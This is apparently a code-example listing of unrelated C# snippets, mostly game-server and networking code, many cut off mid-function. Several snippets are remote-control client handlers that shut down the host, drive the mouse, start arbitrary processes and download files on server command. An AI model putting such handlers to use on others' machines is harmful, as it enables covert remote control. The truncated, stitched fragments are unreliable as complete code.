示例#1
0
        private void Handle_CMSG_LOGINREQUEST(Packets.CMSG_LOGINREQUEST packet)
        {
            Utilities.ConsoleStyle.Debug("Check client account .. ");
            var account = Database.Models.AccountModel.FindOne(packet.Username);
            if (account != null)
            {
                if (account.Password == packet.Password)//Check password
                {
                    this.Account = account;//Client is logged
                    this.Send(new Packets.SMSG_LOGINRESULT(Enums.LoginResultEnum.CORRECT_LOGIN, account.ID, account.IsOp(), account.Pseudo));
                    Utilities.ConsoleStyle.Infos("Player @'" + account.Username + "'@ connected !");

                    this.Send_SMSG_LISTWORLDS();
                }
                else
                {
                    Utilities.ConsoleStyle.Error("Password don't match");
                    this.Send(new Packets.SMSG_LOGINRESULT(Enums.LoginResultEnum.INVALID_LOGIN, account.ID, account.IsOp(), account.Pseudo));
                }
            }
            else
            {
                Utilities.ConsoleStyle.Error("Can't found the account @'" + packet.Username + "'@");
                this.Send(new Packets.SMSG_LOGINRESULT(Enums.LoginResultEnum.INVALID_LOGIN, -1, false, ""));
            }
        }
示例#2
0
        public bool AddPlayer(MapleCharacter chr)
        {
            if (Participants.ContainsKey(chr.Id))
            {
                return(false);
            }
            int position = GetFreePosition();

            if (position == -1)
            {
                return(false);                //No space
            }
            MapleMessengerCharacter mcc = new MapleMessengerCharacter(position, chr);

            chr.ChatRoom = this;
            chr.Client.SendPacket(Packets.EnterRoom((byte)position));
            var playerAddPacket = Packets.AddPlayer(mcc);

            BroadCastPacket(playerAddPacket, chr.Id);
            foreach (MapleMessengerCharacter participant in Participants.Values)
            {
                chr.Client.SendPacket(Packets.AddPlayer(participant));
            }
            Participants.Add(chr.Id, mcc);
            return(true);
        }
示例#3
0
        public void OnLogin(Packets.Client.CSMG_LOGIN p)
        {
            p.GetContent();
            if (MapServer.accountDB.CheckPassword(p.UserName, p.Password, this.frontWord, this.backWord))
            {
                Packets.Server.SSMG_LOGIN_ACK p1 = new SagaMap.Packets.Server.SSMG_LOGIN_ACK();
                p1.LoginResult = SagaMap.Packets.Server.SSMG_LOGIN_ACK.Result.OK;
                p1.Unknown1 = 0x100;
                p1.Unknown2 = 0x486EB420;

                this.netIO.SendPacket(p1);

                account = MapServer.accountDB.GetUser(p.UserName);

                uint[] charIDs = MapServer.charDB.GetCharIDs(account.AccountID);

                account.Characters = new List<ActorPC>();
                for (int i = 0; i < charIDs.Length; i++)
                {
                    account.Characters.Add(MapServer.charDB.GetChar(charIDs[i]));
                }
                this.state = SESSION_STATE.AUTHENTIFICATED;
            }
            else
            {
                Packets.Server.SSMG_LOGIN_ACK p1 = new SagaMap.Packets.Server.SSMG_LOGIN_ACK();
                p1.LoginResult = SagaMap.Packets.Server.SSMG_LOGIN_ACK.Result.GAME_SMSG_LOGIN_ERR_BADPASS;
                this.netIO.SendPacket(p1);
            }
        }
示例#4
0
        /// <summary>
        /// For designer only
        /// </summary>
        public SimpleTextCaptureViewModel()
        {
            RefreshCommand = new RelayCommand(Refresh);

            Packets.Add(new PacketViewModel(new byte[] { 1, 2, 3, 4, 5 }));
            Packets.Add(new PacketViewModel(new byte[] { 1, 2, 3, 4, 5 }));
        }
示例#5
0
        public static byte[] BuildPacket(Packets.LicensePlatePacket plateExpected)
        {
            var mem = new MemoryStream();
            var writer = new EndianBinaryWriter(Configuration.EndianBitConverter, mem, Configuration.Encoding);

            var licenseBytes = Configuration.Encoding.GetBytes(plateExpected.LicensePlate.LicenseNumber);

            writer.Write(licenseBytes);
            writer.Write(01u);
            writer.Write((UInt32)plateExpected.CaptureTime.ToBinary());
            writer.Write((UInt32)plateExpected.CaptureLocation.Id);

            int imgCount = plateExpected.EvidenceImageData.Count;
            writer.Write((uint)imgCount);

            var imgData = plateExpected.EvidenceImageData;
            for (int i = 0; i < imgCount; ++i)
            {
                writer.Write((uint)imgData[i].Length);
            }

            for (int i = 0; i < imgCount; ++i)
            {
                writer.Write(imgData[i]);
            }

            return mem.ToArray();
        }
示例#6
0
 public static void HandleDoShutdownAction(Packets.ServerPackets.DoShutdownAction command, Client client)
 {
     try
     {
         ProcessStartInfo startInfo = new ProcessStartInfo();
         switch (command.Action)
         {
             case ShutdownAction.Shutdown:
                 startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                 startInfo.CreateNoWindow = true;
                 startInfo.UseShellExecute = true;
                 startInfo.Arguments = "/s /t 0"; // shutdown
                 startInfo.FileName = "shutdown";
                 Process.Start(startInfo);
                 break;
             case ShutdownAction.Restart:
                 startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                 startInfo.CreateNoWindow = true;
                 startInfo.UseShellExecute = true;
                 startInfo.Arguments = "/r /t 0"; // restart
                 startInfo.FileName = "shutdown";
                 Process.Start(startInfo);
                 break;
             case ShutdownAction.Standby:
                 Application.SetSuspendState(PowerState.Suspend, true, true); // standby
                 break;
         }
     }
     catch (Exception ex)
     {
         new Packets.ClientPackets.SetStatus(string.Format("Action failed: {0}", ex.Message)).Execute(client);
     }
 }
        private void ParseBits()
        {
            var parser = new Parser(_bits);

            Packets.Add(parser.ParsedPacket);

            Ignored = _bits[parser.Consumed..];
示例#8
0
 public bool ExecuteScriptForNpc()
 {
     if (ScriptInstance == null)
     {
         return(false);
     }
     try
     {
         if (IsShop)
         {
             Client.SendPacket(Packets.ShowShop((ShopScript)ScriptInstance, NpcId));
         }
         ScriptInstance.Execute();
         return(true);
     }
     catch (Exception ex)
     {
         string errorString = string.Format("NpcId: {0}\r\nState: {1}\r\n Selection: {2}\r\nException: {3}", NpcId, ScriptInstance.State, ScriptInstance.Selection, ex);
         ServerConsole.Debug("Npc script execution error: " + errorString);
         FileLogging.Log("Npc scripts", errorString);
         SendOk("An error occured, please report this on the forums\r\nNpcId: " + NpcId);
         Dispose();
         return(false);
     }
 }
示例#9
0
        public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command, Client client)
        {
            Screen[] allScreens = Screen.AllScreens;
            int offsetX = allScreens[command.MonitorIndex].Bounds.X;
            int offsetY = allScreens[command.MonitorIndex].Bounds.Y;
            Point p = new Point(command.X + offsetX, command.Y + offsetY);

            switch (command.Action)
            {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                    NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
                    break;
                case MouseAction.RightDown:
                case MouseAction.RightUp:
                    NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
                    break;
                case MouseAction.MoveCursor:
                    NativeMethodsHelper.DoMouseMove(p);
                    break;
                case MouseAction.ScrollDown:
                    NativeMethodsHelper.DoMouseScroll(p, true);
                    break;
                case MouseAction.ScrollUp:
                    NativeMethodsHelper.DoMouseScroll(p, false);
                    break;
            }
        }
        public void ClientSent(FFXIVIpcHeader header, byte[] data, int offset)
        {
            var dataLen = data.Length - offset;

            if (dataLen < ClientIPCPingDataSize || dataLen > ClientIPCPingDataSize * 2)
            {
                return;
            }

            Packets.NaiveParsePacket <FFXIVClientIpcPingData>(data, offset, out var pkt);
            unsafe
            {
                if (!IsAllZeros(pkt.Unknown, 20))
                {
                    return;
                }
            }

            if (pkt.Timestamp == 0)
            {
                return;
            }

            lock (_buffer)
            {
                ref var slot = ref _buffer[_bufferPointer & BufferMask];
                slot.TimeStamp     = DateTime.UtcNow.EpochMillis();
                slot.ClientSent    = true;
                slot.OpCode        = header.Type;
                slot.PingTimeStamp = pkt.Timestamp;

                _bufferPointer++;
            }
示例#11
0
        public MainWindow()
        {
            InitializeComponent();
            Instance       = this;
            this.MaxHeight = SystemParameters.MaximizedPrimaryScreenHeight;
            System.Net.ServicePointManager.DefaultConnectionLimit = 100;
            InitAMVC();

            Packets.SendPacket <GetFriendIDs>();
            Packets.SendPacket <GetNotifications>();
            Packets.SendPacket <GetSelfID>();
            Packets.SendPacket <GetSelfProfile>();
            Packets.SendPacket <RecentConversations>();
            Sticker.Load(() =>
            {
                Packets.SendPacket <GetBoughtStickerPacksRequest>();
                Packets.SendPacket <GetNearestSickerRequest>();
            });

            SetNotificationDotState(false);

            SelfAvatar.ClickTrigger.Visibility = Visibility.Hidden;
            SelfAvatar.ClickTrigger.IsEnabled  = false;
            SelfAvatar.IsOnline = true;
            SelfAvatar.UpdateAllInstance();

            ProfileContext.BtnSignOut.Click += BtnSignOut_Click;
        }
示例#12
0
        /// <summary>
        /// Store a captured CAN packet
        /// </summary>
        /// <param name="TimeInMicroseconds">Time registered by PEAK device</param>
        /// <param name="CANId">Id of the packet</param>
        /// <param name="DataLength">Length of data</param>
        /// <param name="Data">Captured data</param>
        /// <returns>Reference to the packet</returns>
        Packet UpdatePackets(ulong TimeInMicroseconds, uint CANId, byte DataLength, byte[] Data)
        {
            Packet packet;

            if (overwriteLastPacket)
            {
                //Update packet list by overwriting last value
                packet = Packets.Find(x => x.Id == CANId);
                if (packet == null)
                {
                    packet = new Packet();
                    Packets.Add(packet);
                }
            }
            else
            {
                //store as new values
                packet = new Packet();
                Packets.Add(packet);
            }
            //add/update values
            packet.Microseconds = TimeInMicroseconds;
            packet.Id           = CANId;
            packet.Length       = DataLength;
            packet.Data         = Data;

            //remember first packet for diff calc
            if (DiffPacket == null)
            {
                AddMessage(Feedback, "First packet received " + PacketToString(packet));
                DiffPacket = Packet.Clone(packet);
            }
            return(packet);
        }
 public string ParseLoad(Packet p)
 {
     whil = string.Empty;
     foreach (Table.Field k in schemas[p.ID].Fields.Values)
     {
         try
         {
             //for (int j = 0; k.WhileLength >= j; j++)
             {
                 ParseLoadT(p, k);
                 if (k.Merge)
                 {
                     int index = Packets.IndexOf(p) + 1;
                     while (p.Length + 6 < long.Parse(k.Return))
                     {
                         Packet <int> tmp = Packets[index++];
                         p.PutBytes(tmp.GetBytes((ushort)(tmp.Length - 6), 6), (ushort)p.Length);
                     }
                 }
                 if (ulong.TryParse(k.Return, out ulong r) && k.RunMORM)
                 {
                     if (r >= k.RunMin && r >= k.RunMax)
                     {
                         return("");
                     }
                 }
             }
         }
         catch (Exception ex)
         {
             MessageBox.Show(ex.ToString(), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
         }
     }
     return(whil);
 }
        public async void PlayerDelete(uint flPlayerID)
        {
            // fixme: might crash if the player leaves
            if (!Players.ContainsKey(flPlayerID))
            {
                return;
            }

            var player = Players[flPlayerID];

            Players.Remove(flPlayerID);
            if (player.Ship.Objid != 0)
            {
                DelSimObject(player.Ship);
            }

            if (Players.ContainsKey(flPlayerID))
            {
                Players.Remove(flPlayerID);
            }

            foreach (var item in Players.Values)
            {
                item.SendMsg(Packets.PlayerListDepart(player.FLPlayerID));
            }
        }
示例#15
0
 public void SendToAll(Packets id, byte[] data, bool reliable = true)
 {
     foreach (ServerPlayer player in PlayingPlayers)
     {
         player.conn.Send(id, data, reliable);
     }
 }
示例#16
0
        public void Connect(string playerName, string IP = "127.0.0.1", int Port = 2048)
        {
            //Start Client
            _client.Start();

            //Create Outgoing Message
            NetOutgoingMessage outMsg = _client.CreateMessage();

            //Create Packet
            Packets.LoginRequestPacket loginPacket = new Packets.LoginRequestPacket()
            {
                name = playerName
            };

            //Write Packet
            Packets.WritePacket(ref outMsg, ref loginPacket);

            //Connect to server with Packet
            _client.Connect(IP, Port, outMsg);

            //Debug
            Console.WriteLine("ClientNetworkManager: Starting Connection to " + IP + ":" + Convert.ToString(Port));

            // Set timer to tick every 50ms
            update          = new System.Timers.Timer(50);
            update.Elapsed += update_Elapsed;
            update.Start();
        }
示例#17
0
        public void AddToPackets(PacketType type, byte[] data)
        {
            var packet = new Packet(type, data);

            Application.Current.Dispatcher.Invoke(delegate
            {
                Packets.Add(packet);
            });

            var filterType = (PacketType)(SelectedPacketTypeIndex - 1);

            if (filterType == type || SelectedPacketTypeIndex == 0)
            {
                if (_filterOpCode > 0)
                {
                    if (_filterOpCode == packet.OpCode)
                    {
                        Application.Current.Dispatcher.Invoke(delegate
                        {
                            FilteredPackets.Add(packet);
                        });
                    }
                }
                else
                {
                    Application.Current.Dispatcher.Invoke(delegate
                    {
                        FilteredPackets.Add(packet);
                    });
                }
            }
        }
示例#18
0
 public FileController(WebSocket client, Packets packet)
 {
     _client = client;
     _packet = packet;
     //only do this operation on search request
     if (_packet.PacketType == PacketType.SearchFiles)
     {
         var startupDirEndingWithSlash = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName) +
                                         "\\";
         var resolvedDomainTimeFileName = startupDirEndingWithSlash + "Everything.dll";
         if (!File.Exists(resolvedDomainTimeFileName))
         {
             if (IntPtr.Size == 8)
             {
                 Console.WriteLine(@"x64 Everything Loaded");
                 if (File.Exists(startupDirEndingWithSlash + "Everything64.dll"))
                 {
                     File.Copy(startupDirEndingWithSlash + "Everything64.dll", resolvedDomainTimeFileName);
                 }
             }
             else
             {
                 Console.WriteLine(@"x86 Everything Loaded");
                 if (File.Exists(startupDirEndingWithSlash + "Everything32.dll"))
                 {
                     File.Copy(startupDirEndingWithSlash + "Everything32.dll", resolvedDomainTimeFileName);
                 }
             }
         }
     }
 }
示例#19
0
        /// <summary>
        /// Create a new Packet
        /// </summary>
        /// <param name="data">The compressed serialize packet</param>
        public Packet(IEnumerable <byte> data)
        {
            byte[] bytes;
            // Decompress the bytes
            using (var stream = new GZipStream(new MemoryStream(data.ToArray()), CompressionMode.Decompress)) {
                const int size   = 4096;
                var       buffer = new byte[size];
                using (var memory = new MemoryStream()) {
                    int count;
                    do
                    {
                        count = stream.Read(buffer, 0, size);
                        if (count > 0)
                        {
                            memory.Write(buffer, 0, count);
                        }
                    }while (count > 0);
                    bytes = memory.ToArray();
                }
            }

            Packet packet;

            // Deserialize the packet
            using (var stream = new MemoryStream(bytes))
                packet = (Packet) new BinaryFormatter().Deserialize(stream);
            // Assign the variables in packet to this
            _packetId     = packet._packetId;
            _senderPort   = packet._senderPort;
            Code          = packet.Code;
            Message       = packet.Message;
            ReturnMessage = packet.ReturnMessage;
        }
示例#20
0
        public static void HandleDoProcessStart(Packets.ServerPackets.DoProcessStart command, Client client)
        {
            if (string.IsNullOrEmpty(command.Processname))
            {
                new Packets.ClientPackets.SetStatus("Process could not be started!").Execute(client);
                return;
            }

            try
            {
                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    UseShellExecute = true,
                    FileName = command.Processname
                };
                Process.Start(startInfo);
            }
            catch
            {
                new Packets.ClientPackets.SetStatus("Process could not be started!").Execute(client);
            }
            finally
            {
                HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
            }
        }
示例#21
0
        public void Disconnect(int timeout)
        {
            if (socket != null)
            {
                try
                {
                    socket.Shutdown(SocketShutdown.Both);
                }
                catch (Exception) { }
                finally
                {
                    if (timeout == -1)
                    {
                        socket.Close();
                    }
                    else
                    {
                        socket.Close(timeout);
                    }
                    socket = null;
                }
            }

            GetMessage = null;

            Packets.Clear();
            AESkey = null;
            RSAkey = new EncryptAndCompress.RSAKeyPair();
        }
示例#22
0
 public static void EnqueuePacket(Packet p)
 {
     lock (_Locker)
     {
         Packets.Add(p);
     }
 }
示例#23
0
 /// <summary>
 /// 抽包
 /// </summary>
 /// <param name="qcinfoid"></param>
 private void getPackets(int qcinfoid, int did)
 {
     try
     {
         //DTS包号
         List <string> listbags = QCInfoDAL.GetBags(qcinfoid);
         //总包数
         DataTable dtNO_OF_BALES = LinQBaseDao.Query("select NO_OF_BALES  from dbo.DRAW_EXAM_INTERFACE where DRAW_EXAM_INTERFACE_ID=" + did).Tables[0];
         string    Packets_DTS   = "";//DTS   string类型包号
         foreach (string item in listbags)
         {
             Packets_DTS += item + ",";
         }
         Packets_DTS = Packets_DTS.TrimEnd(',');
         Packets p = new Packets();
         p.Packets_DTS  = Packets_DTS;
         p.Packets_this = "";
         p.Packets_QCInfo_DRAW_EXAM_INTERFACE_ID = did;
         p.Packets_Time = DateTime.Now;
         PacketsDAL.InsertOneQCRecord(p);
         Common.GetSumWaterCount(qcinfoid);
         LinQBaseDao.Query("update QCInfo set QCInfo_DRAW='" + Packets_DTS + "',QCInfo_PumpingPackets=" + Packets_DTS.Split(',').Count() + ",QCInfo_MOIST_Count=" + Common.SumWaterCount + " where QCInfo_ID=" + qcinfoid);
     }
     catch
     {
     }
 }
示例#24
0
        public void BuddyChannelChanged(MapleClient listOwnerClient, int characterId, int accountId, string characterName, bool accountBuddy, int channel)
        {
            bool       isMyBuddy = false;
            MapleBuddy buddy;

            if (accountBuddy)
            {
                if (AccountBuddies.TryGetValue(accountId, out buddy))
                {
                    isMyBuddy = !buddy.IsRequest;
                    if (isMyBuddy)
                    {
                        CharacterBuddies.Remove(characterId);
                    }
                }
            }
            else if (CharacterBuddies.TryGetValue(characterId, out buddy))
            {
                isMyBuddy = !buddy.IsRequest;
            }
            if (!isMyBuddy)
            {
                return;
            }
            buddy.Channel = channel;
            buddy.Name    = characterName;
            listOwnerClient.SendPacket(Packets.BuddyChannelUpdate(characterId, accountId, channel, Invisible, characterName));
        }
示例#25
0
        /// <summary>
        /// Takes one TCP packet as a byte array, filters it based on source/destination ports, and stores it for stream reassembly.
        /// </summary>
        /// <param name="buffer"></param>
        public unsafe void FilterAndStoreData(byte[] buffer)
        {
            // There is one TCP packet per buffer.
            if (buffer?.Length < sizeof(TCPHeader))
            {
                Trace.WriteLine("TCPDecoder: Buffer length smaller than TCP header: Length=[" + (buffer?.Length ?? 0).ToString() + "].", "DEBUG-MACHINA");
                return;
            }

            fixed(byte *ptr = buffer)
            {
                TCPHeader header = *(TCPHeader *)(ptr);

                if (_sourcePort != header.source_port ||
                    _destinationPort != header.destination_port)
                {
                    return;
                }

                // if there is no data, we can discard the packet - this will likely be an ACK, but it shouldnt affect stream processing.
                if (buffer.Length - header.DataOffset == 0)
                {
                    if ((header.flags & (byte)TCPFlags.SYN) == 0)
                    {
                        return;
                    }
                }

                //TEMP debugging
                //Trace.WriteLine("TCPDecoder: TCP Sequence # " + header.SequenceNumber.ToString() + " received with " + (buffer.Length - header.DataOffset).ToString() + " bytes.");

                Packets.Add(buffer);
            }
        }
示例#26
0
 public Player(Connection connection)
 {
     this.connection = connection; //without this, new Packets(this); wouldn't function.
     if (connection != null)
     {
         loginDetails = connection.getLoginDetails();
     }
     appearance       = new Appearance();
     follow           = new Follow(this);
     bank             = new Bank(this);
     inventory        = new Inventory(this);
     equipment        = new Equipment(this);
     friends          = new Friends(this);
     prayers          = new Prayers(this);
     skills           = new Skills(this);
     attackStyle      = new AttackStyle();
     packets          = new Packets(this);
     localEnvironment = new LocalEnvironment(this);
     updateFlags      = new AppearanceUpdateFlags(this);
     walkingQueue     = new WalkingQueue(this);
     specialAttack    = new SpecialAttack(this);
     chat             = true;
     split            = false;
     mouse            = true;
     aid                  = false;
     magicType            = 1;
     achievementDiaryTab  = false;
     forgeCharge          = 40;
     smallPouchAmount     = 0;
     mediumPouchAmount    = 0;
     largePouchAmount     = 0;
     giantPouchAmount     = 0;
     defenderWave         = 0;
     autoRetaliate        = false;
     vengeance            = false;
     lastVengeanceTime    = 0;
     poisonAmount         = 0;
     specialAmount        = 100;
     skullCycles          = 0;
     recoilCharges        = 40;
     barrowTunnel         = -1;
     barrowKillCount      = 0;
     barrowBrothersKilled = new bool[6];
     slayerPoints         = 0;
     removedSlayerTasks   = new string[4];
     for (int i = 0; i < removedSlayerTasks.Length; i++)
     {
         removedSlayerTasks[i] = "-";
     }
     agilityArenaStatus      = 0;
     taggedLastAgilityPillar = false;
     paidAgilityArena        = false;
     teleblockTime           = 0;
     lastHit               = -1;
     prayerDrainRate       = 0;
     superAntipoisonCycles = 0;
     antifireCycles        = 0;
     tradeRequests         = new List <Player>();
     duelRequests          = new List <Player>();
 }
示例#27
0
 public static void HandleMonitors(Packets.ServerPackets.Monitors command, Client client)
 {
     if (Screen.AllScreens != null && Screen.AllScreens.Length > 0)
     {
         new Packets.ClientPackets.MonitorsResponse(Screen.AllScreens.Length).Execute(client);
     }
 }
示例#28
0
 public void OnMotion(Packets.Client.CSMG_CHAT_MOTION p)
 {
     ChatArg arg = new ChatArg();
     arg.motion = p.Motion;
     arg.loop = p.Loop;
     Map.SendEventToAllActorsWhoCanSeeActor(Map.EVENT_TYPE.MOTION, arg, this.Character, true);
 }
        public override async ValueTask Handle(P00ConnectionHandshake packet)
        {
            ProtocolOptions config   = options.Value;
            var             response = Packets.New <P01ConnectionResponse>();

            ProtocolOptions.Platform platform = config.Platforms.SingleOrDefault(p => p.Name == packet.ApplicationIdentifier);
            if (platform == null)
            {
                throw new ProtocolException($"Unsupported client {packet.ApplicationIdentifier}");
            }
            response.LatestVersion     = platform.VersionName;
            response.LatestVersionCode = platform.VersionCode;
            if (packet.ProtocolVersion != config.ProtocolVersion || packet.VersionCode < platform.ForceUpdateThreshold)
            {
                response.ConnectionState = ConnectionState.MustUpgrade;
            }
            else if (packet.VersionCode < platform.RecommendUpdateThreshold)
            {
                response.ConnectionState = ConnectionState.CanUpgrade;
            }
            else
            {
                response.ConnectionState = ConnectionState.Valid;
            }

            Client.Initialize(packet.ApplicationIdentifier, packet.VersionCode);

            await Client.Send(response).ConfigureAwait(false);
        }
示例#30
0
 public void OnSit(Packets.Client.CSMG_CHAT_SIT p)
 {
     ChatArg arg = new ChatArg();
     arg.motion = MotionType.SIT;
     arg.loop = 1;
     Map.SendEventToAllActorsWhoCanSeeActor(Map.EVENT_TYPE.MOTION, arg, this.Character, true);
 }
示例#31
0
    public static uint SpawnCharacter(BinaryReader reader)
    {
        uint  id     = reader.ReadUInt32();
        int   baseId = reader.ReadInt32();
        short rot    = reader.ReadInt16();
        float x      = reader.ReadSingle();
        float y      = reader.ReadSingle();
        float z      = reader.ReadSingle();

        List <KeyValuePair <StatType, object> > statsReceived = new List <KeyValuePair <StatType, object> >();

        for (int i = 0; i < 3; i++)
        {
            statsReceived.Add(Packets.ReadStat(reader));
        }

        Debug.Log(string.Format("Spawn character {0} {1} {2} {3}", id, x, y, z));
        var data = new SpawnData()
        {
            id    = id,
            mobId = baseId,
            rot   = rot,
            pos   = new System.Numerics.Vector3(x, y, z)
        };

        var mob = MobsManager.Instance.SpawnCharacter(data);

        foreach (var item in statsReceived)
        {
            mob.Stats.SetStat(item.Key, item.Value);
        }
        return(id);
    }
示例#32
0
 public void SendPacket <T>(T packet, Packets packetType) where T : class
 {
     foreach (int clientID in ConnectionManager.Instance.GetClientIDs())
     {
         SendPacket(packet, packetType, clientID);
     }
 }
示例#33
0
 public void Update(float deltaTime)
 {
     while (Packets.Count > 0)
     {
         IPacket oPacket = null;
         if (Packets.TryDequeue(out oPacket))
         {
             IProtocol oProcess = null;
             if (Processers.TryGetValue(oPacket.PacketID, out oProcess))
             {
                 try
                 {
                     oProcess.ProcessAs(oPacket);
                 }
                 catch (Exception e)
                 {
                     App.Error($"协议调用堆栈错误!:\n{e}");
                 }
             }
             //else
             //{
             //    App.Error("PotocolID={0}没有找到协议处理类:", oPacket.PacketID);
             //}
         }
     }
 }
示例#34
0
 public static void HandleAction(Packets.ServerPackets.Action command, Client client)
 {
     try
     {
         ProcessStartInfo startInfo = new ProcessStartInfo();
         switch (command.Mode)
         {
             case 0:
                 startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                 startInfo.CreateNoWindow = true;
                 startInfo.UseShellExecute = true;
                 startInfo.Arguments = "/s /t 0"; // shutdown
                 startInfo.FileName = "shutdown";
                 Process.Start(startInfo);
                 break;
             case 1:
                 startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                 startInfo.CreateNoWindow = true;
                 startInfo.UseShellExecute = true;
                 startInfo.Arguments = "/r /t 0"; // restart
                 startInfo.FileName = "shutdown";
                 Process.Start(startInfo);
                 break;
             case 2:
                 Application.SetSuspendState(PowerState.Suspend, true, true); // standby
                 break;
         }
     }
     catch
     {
         new Packets.ClientPackets.Status("Action failed!").Execute(client);
     }
 }
示例#35
0
        public static void HandleDoMouseClick(Packets.ServerPackets.DoMouseClick command, Client client)
        {
            Screen[] allScreens = Screen.AllScreens;
            int offsetX = allScreens[command.MonitorIndex].Bounds.X;
            int offsetY = allScreens[command.MonitorIndex].Bounds.Y;
            Point p = new Point(command.X + offsetX, command.Y + offsetY);

            if (command.LeftClick)
            {
                SetCursorPos(p.X, p.Y);
                mouse_event(MOUSEEVENTF_LEFTDOWN, p.X, p.Y, 0, 0);
                mouse_event(MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0);
                if (command.DoubleClick)
                {
                    mouse_event(MOUSEEVENTF_LEFTDOWN, p.X, p.Y, 0, 0);
                    mouse_event(MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0);
                }
            }
            else
            {
                SetCursorPos(p.X, p.Y);
                mouse_event(MOUSEEVENTF_RIGHTDOWN, p.X, p.Y, 0, 0);
                mouse_event(MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, 0);
                if (command.DoubleClick)
                {
                    mouse_event(MOUSEEVENTF_RIGHTDOWN, p.X, p.Y, 0, 0);
                    mouse_event(MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, 0);
                }
            }
        }
示例#36
0
        public void Seek(TimeSpan when)
        {
            lock ( LoadPacketBuffer ) {
                while (LoadPacketBuffer.Count > 0)
                {
                    var apr = LoadPacketBuffer.Dequeue();
                    Keyframes += apr.Count(ap => ap.IsKeyframe);
                    Packets.AddRange(apr);
                }
            }
            if (Packets.Count <= 0)
            {
                return;
            }

            DumpChunksAround(when);
            var i = BinarySearchIndexBefore(Packets, ap => ap.SinceStart >= when);

            if (i == -1)
            {
                i = 0;
            }
            Debug.Assert(Packets[i].DecodedCache != null);
            CurrentFrame.SinceStart = Packets[i].SinceStart;
            CurrentFrame.Data       = Packets[i].DecodedCache;
        }
示例#37
0
 public static void HandleInitializeCommand(Packets.ServerPackets.InitializeCommand command, Client client)
 {
     SystemCore.InitializeGeoIp();
     new Packets.ClientPackets.Initialize(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType,
         SystemCore.Country, SystemCore.CountryCode, SystemCore.Region, SystemCore.City, SystemCore.ImageIndex,
         SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName()).Execute(client);
 }
示例#38
0
        // This is called from the main form to tell us where the application was launched from (where to look for the .conf files)
        // and also gives us the LogHandler method so we can send debug messages to the main form.

        public bool Init(string confDirectory, Action <string> logger)
        {
            // Pass the LogHandler on down to the PacketManager

            Packets.SetLogHandler(logger);

            var errorMessage = "";

            // Here we init all the patch version specific decoders. The only reason one should fail to init is if it can't
            // find it's patch_XXXX.conf.
            //
            // If at least one initialises successfully, then return true  to the caller, otherwise return false
            var allDecodersFailed = true;

            PatchDecoder.Init(confDirectory, ref errorMessage);

            foreach (var p in PatchList)
            {
                logger("Initialising patch " + p.GetVersion());
                if (!p.Init(confDirectory, ref errorMessage))
                {
                    logger(errorMessage);
                }
                else
                {
                    allDecodersFailed = false;
                }
            }

            return(!allDecodersFailed);
        }
示例#39
0
 // Add item to packets queue
 public void AddPacketToQueue(Packet packet, Node destination)
 {
     if (Packets.Count < MaxPackets)
     {
         if (Ip == destination.Ip)
         {
             bool packetExists = false;
             foreach (Packet item in Packets)
             {
                 if (item.Content == packet.Content)
                 {
                     packetExists = true;
                 }
             }
             if (packetExists == false)
             {
                 Packets.Enqueue(packet);
             }
         }
         else
         {
             Packets.Enqueue(packet);
         }
     }
 }
示例#40
0
        void player_PlayerDeleted(object sender, Player.Player e)
        {
            //var revent = next_event as DPGameRunnerPlayerDeletedEvent;

            // fixme: might crash if the player leaves
            if (!Players.ContainsKey(e.FLPlayerID))
            {
                return;
            }

            var player = Players[e.FLPlayerID];

            Players.Remove(e.FLPlayerID);
            if (player.Ship.Objid != 0)
            {
                DelSimObject(player.Ship);
            }

            if (Playerlist.ContainsKey(e.FLPlayerID))
            {
                Playerlist.Remove(e.FLPlayerID);
            }

            foreach (var item in Playerlist.Values)
            {
                Packets.SendPlayerListDepart(item.Player, player);
            }
        }
示例#41
0
        public static void Create(Entities.GameClient client, Packets.TeamActionPacket packet)
        {
            if (packet.EntityUID != client.EntityUID)
                return;
            if (client.Team != null)
                return;

            client.Team = new Team();
            client.Team.Leader = client.EntityUID;
            if (client.Team.Members.TryAdd(client.EntityUID, client))
            {
                using (var create = new Packets.TeamActionPacket())
                {
                    create.EntityUID = client.EntityUID;
                    create.Action = Enums.TeamAction.Leader;
                    client.Send(create);
                    create.Action = Enums.TeamAction.Create;
                    client.Send(create);
                }
                client.AddStatusEffect1(Enums.Effect1.TeamLeader, 0);
            }
            else
            {
                client.Team = null;
            }
        }
示例#42
0
        private void handle(Player p, Reader r)
        {
            Attack attack = new Attack(r, p, false);

            Console.WriteLine("Magic: " + attack.getSkill());

            Mist mist = null;
            if (attack.getSkill() > 0)
            {
                SkillWz skillWz = Library.getSkill(attack.getSkill());
                Skill s = p.getSkillsManager().getSkill(attack.getSkill());
                if (s == null)
                    return; // player doesn't have the skill
                if (s.getLevel() <= 0)
                    return; // trying to use a skill that isn't atleast level 1

                attack.setLevel(s.getLevel());

                Info i = skillWz.getLevel(s.getLevel());

                int hpCon = i.getInt("hpCon");
                int mpCon = i.getInt("mpCon");
                int x = i.getInt("x");
                int prop = i.getInt("prop");
                int time = i.getInt("time") * 1000; // Status effects for monsters
                int mobCount = i.getInt("mobCount");
                int attackCount = i.getInt("attackCount");
                int cooltime = i.getInt("cooltime");

                if (p.getCooldown(attack.getSkill()) != null)
                {
                    p.send(Packets.enableActions());
                    return;
                }
示例#43
0
        public static void HandleDoDownloadFile(Packets.ServerPackets.DoDownloadFile command, Client client)
        {
            new Thread(() =>
            {
                try
                {
                    FileSplit srcFile = new FileSplit(command.RemotePath);
                    if (srcFile.MaxBlocks < 0)
                        new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1,
                            srcFile.LastError).Execute(client);

